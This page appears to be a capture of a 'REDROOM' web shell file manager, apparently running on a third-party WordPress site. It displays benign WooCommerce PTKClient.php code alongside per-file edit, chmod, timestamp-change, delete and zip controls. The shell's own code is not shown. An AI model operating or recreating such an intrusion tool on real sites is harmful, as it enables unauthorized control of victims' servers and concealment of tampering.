REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.78 KB
Close
/home/nshryvcy/taramarriagebureau.com/wp-content/plugins/woocommerce/src/Blocks/Patterns/PTKClient.php
Text
Base64
<?php namespace Automattic\WooCommerce\Blocks\Patterns; use WP_Error; /** * PatternsToolkit class. * * @internal */ class PTKClient { /** * The Patterns Toolkit API URL */ const PATTERNS_TOOLKIT_URL = 'https://public-api.wordpress.com/rest/v1/ptk/patterns/'; /** * Fetch the WooCommerce patterns from the Patterns Toolkit (PTK) API. * * @param array $options Options for fetching patterns. * @return array|WP_Error */ public function fetch_patterns( array $options = array() ) { $locale = get_user_locale(); $lang = preg_replace( '/(_.*)$/', '', $locale ); $ptk_url = self::PATTERNS_TOOLKIT_URL . $lang; if ( isset( $options['site'] ) ) { $ptk_url = add_query_arg( 'site', $options['site'], $ptk_url ); } if ( isset( $options['categories'] ) ) { $ptk_url = add_query_arg( 'categories', implode( ',', $options['categories'] ), $ptk_url ); } if ( isset( $options['per_page'] ) ) { $ptk_url = add_query_arg( 'per_page', $options['per_page'], $ptk_url ); } $patterns = wp_safe_remote_get( $ptk_url ); if ( is_wp_error( $patterns ) || 200 !== wp_remote_retrieve_response_code( $patterns ) ) { return new WP_Error( 'patterns_toolkit_api_error', __( 'Failed to connect with the Patterns Toolkit API: try again later.', 'woocommerce' ) ); } $body = wp_remote_retrieve_body( $patterns ); if ( empty( $body ) ) { return new WP_Error( 'patterns_toolkit_api_error', __( 'Empty response received from the Patterns Toolkit API.', 'woocommerce' ) ); } $decoded_body = json_decode( $body, true ); if ( ! is_array( $decoded_body ) ) { return new WP_Error( 'patterns_toolkit_api_error', __( 'Wrong response received from the Patterns Toolkit API: try again later.', 'woocommerce' ) ); } return $decoded_body; } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 4
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
AIPatterns.php
5.40 KB
lrw-r--r--
2026-03-03 06:25:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
PatternRegistry.php
6.94 KB
lrw-r--r--
2026-03-03 06:25:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
PTKClient.php
1.78 KB
lrw-r--r--
2026-03-03 06:25:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
PTKPatternsStore.php
7.81 KB
lrw-r--r--
2026-03-03 06:25:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).